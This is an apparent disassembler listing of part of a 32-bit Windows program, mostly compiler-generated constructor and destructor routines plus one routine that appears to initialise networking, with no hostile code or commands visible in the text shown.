mov byte ptr [esp+14h+var_4], 1Fh
call sub_401AD2
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_401AD2
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_401AD2
mov byte ptr [esp+14h+var_4], 1Ch
lea ecx, [esi+84Eh]
call sub_401AD2
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_401AD2
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_401AD2
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_401AD2
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_401AD2
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_401AD2
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_401AD2
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_401AD2
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_401AD2
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_401AD2
lea ecx, [esi+574h]
mov byte ptr [esp+14h+var_4], 12h
call sub_401AD2
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_401AD2
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_401AD2
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_401AD2
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_401AD2
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_401AD2
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_401AD2
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_401AD2
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_401AD2
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_401AD2
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_401AD2
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_401AD2
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_401AD2
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_401AD2
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_401AD2
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_401AD2
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_401AD2
mov byte ptr [esp+14h+var_4], 1
lea ecx, [esi+9Bh]
call sub_401AD2
lea ecx, [esi+52h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AD2
lea ecx, [esi+9]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AD2
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417020 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417540 proc near ; CODE XREF: sub_4014F1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417540
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0A3h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417540 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4175E0 proc near ; CODE XREF: sub_401E83j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4175E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+118h]
mov [esp+14h+var_4], 5
call sub_401023
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4175E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4176B0 proc near ; CODE XREF: sub_401235j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4176B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8D0C0h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+8D036h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+8D008h]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4176B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417770 proc near ; CODE XREF: sub_402216j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417770
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417770 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417830 proc near ; CODE XREF: sub_401EB0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417830
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417830 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4178F0 proc near ; CODE XREF: sub_4018CAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4178F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4178F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417960 proc near ; CODE XREF: sub_4017D0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417960
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417960 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4179D0 proc near ; CODE XREF: sub_401B27j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4179D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4179D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417A40 proc near ; CODE XREF: sub_401F28j
add ecx, 4
jmp sub_401023
sub_417A40 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417A60 proc near ; CODE XREF: sub_401113j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417A60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+60h]
mov [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417A60 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417AE0 proc near ; CODE XREF: sub_401DEDj
add ecx, 4
jmp sub_401023
sub_417AE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B00 proc near ; CODE XREF: sub_401FF5j
add ecx, 4
jmp sub_401023
sub_417B00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B20 proc near ; CODE XREF: sub_401EE2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417B20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0BCh]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417B20 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417BC0 proc near ; CODE XREF: sub_40157Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417BC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401424
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0A3h]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E078
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417BC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417C60 proc near ; CODE XREF: sub_401645j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417C60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401749
lea ecx, [esi+118h]
mov byte ptr [esp+14h+var_4], 5
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E07C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417C60 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417D30 proc near ; CODE XREF: sub_401776j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417D30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+8D008h]
call sub_401749
lea ecx, [esi+8D036h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+8D0C0h]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E080
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417D30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417DF0 proc near ; CODE XREF: sub_401820j
push esi
mov esi, ecx
call sub_401E6A
mov dword ptr [esi], offset off_43E050
mov eax, esi
pop esi
retn
sub_417DF0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417E20 proc near ; CODE XREF: sub_4016B3j
push esi
mov esi, ecx
call sub_401E6A
mov dword ptr [esi], offset off_43E05C
mov eax, esi
pop esi
retn
sub_417E20 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417E50 proc near ; CODE XREF: sub_401415j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417E50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E084
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417E50 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F10 proc near ; CODE XREF: sub_401302j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417F10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E088
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417F10 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417FD0 proc near ; CODE XREF: sub_401271j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417FD0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E08C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417FD0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418050 proc near ; CODE XREF: sub_401D11j
push esi
mov esi, ecx
call sub_4011B3
mov dword ptr [esi], offset nullsub_10
mov eax, esi
pop esi
retn
sub_418050 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418080 proc near ; CODE XREF: sub_4012FDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418080
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E094
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418080 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418100 proc near ; CODE XREF: sub_401A7Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418100
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E098
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418100 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418180 proc near ; CODE XREF: sub_401285j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
mov dword ptr [esi], offset off_43E09C
mov eax, esi
pop esi
retn
sub_418180 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4181B0 proc near ; CODE XREF: sub_401CA3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4181B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0A0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4181B0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418230 proc near ; CODE XREF: sub_401573j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
mov dword ptr [esi], offset off_43E0A4
mov eax, esi
pop esi
retn
sub_418230 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418260 proc near ; CODE XREF: sub_40178Fj
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
mov dword ptr [esi], offset off_43E0A8
mov eax, esi
pop esi
retn
sub_418260 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418290 proc near ; CODE XREF: sub_401073j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418290
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0AC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418290 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418330 proc near ; CODE XREF: sub_401267j
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
push ebx
push ebp
mov ebp, dword_50F8D0
push esi
mov esi, ecx
push edi
xor bl, bl
mov byte ptr [esi+9FD2Ch], 1
loc_418348: ; CODE XREF: sub_418330+E4j
test bl, bl
jnz loc_41841E
mov al, [esi+8EF74h]
test al, al
jnz short loc_41835E
mov bl, 1
jmp short loc_418372
; ---------------------------------------------------------------------------
loc_41835E: ; CODE XREF: sub_418330+28j
lea ecx, [esi+15Fh]
call sub_40185C
test al, al
setz bl
test bl, bl
jz short loc_418379
loc_418372: ; CODE XREF: sub_418330+2Cj
mov byte ptr [esi+9FD2Ch], 0
loc_418379: ; CODE XREF: sub_418330+40j
lea ecx, [esp+1Ch+var_C]
call sub_402086
lea edi, [esi+9FD83h]
lea eax, [esp+1Ch+var_4]
push eax
mov ecx, edi
call sub_401F4B
mov ecx, [eax]
lea edx, [esp+1Ch+var_8]
mov [esp+1Ch+var_C], ecx
push edx
mov ecx, edi
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_4016F9
test al, al
jz short loc_4183FE
loc_4183B4: ; CODE XREF: sub_418330+CCj
lea ecx, [esp+1Ch+var_C]
call sub_402211
mov ecx, [eax]
call sub_401744
lea ecx, [esp+1Ch+var_C]
call sub_402211
mov eax, [eax]
test eax, eax
jz short loc_4183DB
mov edx, [eax]
push 1
mov ecx, eax
call dword ptr [edx]
loc_4183DB: ; CODE XREF: sub_418330+A1j
lea ecx, [esp+1Ch+var_C]
call sub_401361
lea eax, [esp+1Ch+var_8]
mov ecx, edi
push eax
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_4016F9
test al, al
jnz short loc_4183B4
loc_4183FE: ; CODE XREF: sub_418330+82j
mov ecx, edi
call sub_4010B9
push 0FAh
call ebp ; dword_50F8D0
mov al, [esi+9FD2Ch]
test al, al
jnz loc_418348
test bl, bl
jz short loc_41842B
loc_41841E: ; CODE XREF: sub_418330+1Aj
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_41842B: ; CODE XREF: sub_418330+ECj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0Ch
retn
sub_418330 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418490 proc near ; CODE XREF: sub_401767j
var_19C = byte ptr -19Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_418490
push eax
mov large fs:0, esp
sub esp, 1A8h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, offset byte_4E6ECB
mov byte ptr [esi+9FD2Ch], 1
call sub_4010B9
mov eax, [esp+1C4h+arg_4]
test eax, eax
jz short loc_4184D0
push eax
jmp short loc_4184D5
; ---------------------------------------------------------------------------
loc_4184D0: ; CODE XREF: sub_418490+3Bj
push offset byte_446F60
loc_4184D5: ; CODE XREF: sub_418490+3Ej
lea ecx, [esi+9FD57h]
call sub_4015D7
mov edi, [esp+1C4h+arg_0]
test edi, edi
jz short loc_4184EE
push edi
jmp short loc_4184F3
; ---------------------------------------------------------------------------
loc_4184EE: ; CODE XREF: sub_418490+59j
push offset byte_446F60
loc_4184F3: ; CODE XREF: sub_418490+5Cj
lea ecx, [esi+9FD6Ch]
call sub_4015D7
push edi
lea ecx, [esi+3Eh]
call sub_401384
mov al, [esi+42h]
test al, al
jz short loc_41851D
mov eax, [esi+43h]
lea ecx, [esi+152h]
push eax
call sub_401979
loc_41851D: ; CODE XREF: sub_418490+7Cj
lea ecx, [esp+1C4h+var_19C]
push ecx
push 202h
call near ptr 71AB664Dh
nop
call sub_4014BA
lea ecx, [esi+1BBEh]
call sub_4017EE
lea ecx, [esi+1B46h]
call sub_4019F6
lea edi, [esi+15Fh]
mov ecx, edi
call sub_401D34
mov ebx, dword_50F8D0
push 3E8h
call ebx ; dword_50F8D0
mov ecx, edi
call sub_40121C
sub_418490 endp
; ---------------------------------------------------------------------------
push 3E8h
call ebx ; dword_50F8D0
mov al, [esi+48h]
test al, al
jnz short loc_418581
mov al, [esi+7C7h]
test al, al
jz short loc_41858C
loc_418581: ; CODE XREF: ___:00418575j
lea ecx, [esi+9FC31h]
call sub_4013D4
loc_41858C: ; CODE XREF: ___:0041857Fj
push 3E8h
call ebx ; dword_50F8D0
lea ebx, [esi+3F9h]
lea edi, [esi+1C58h]
push ebx
mov ecx, edi
call sub_401B59
; ---------------------------------------------------------------------------
mov ecx, edi
call sub_401195
mov al, [esi+77Eh]
test al, al
jz short loc_4185C7
lea edx, [esi+71Ch]
push ebx
push edx
mov ecx, edi
call sub_401726
loc_4185C7: ; CODE XREF: ___:004185B6j
mov al, [esi+7C7h]
test al, al
jz short loc_4185EE
lea ebp, [esi+7F7h]
mov ecx, edi
push ebp
call sub_401FB4
test al, al
jnz short loc_4185EE
push ebx
push ebp
mov ecx, edi
call sub_401497
jmp short loc_4185FC
; ---------------------------------------------------------------------------
loc_4185EE: ; CODE XREF: ___:004185CFj
; ___:004185E1j
lea ebp, [esi+7F7h]
mov ecx, edi
push ebp
call sub_401942
loc_4185FC: ; CODE XREF: ___:004185ECj
mov al, [esi+7C7h]
test al, al
jz short loc_418621
mov al, [esi+48h]
test al, al
jnz short loc_418621
push ebp
mov ecx, edi
call sub_401FDC
test al, al
jz short loc_418621
push 0
call near ptr 77C39E7Eh
nop
loc_418621: ; CODE XREF: ___:00418604j
; ___:0041860Bj ...
call sub_401EEC
lea ecx, [esi+168h]
call sub_4017E4
push eax
lea eax, [esp+14h]
push eax
call sub_402022
add esp, 8
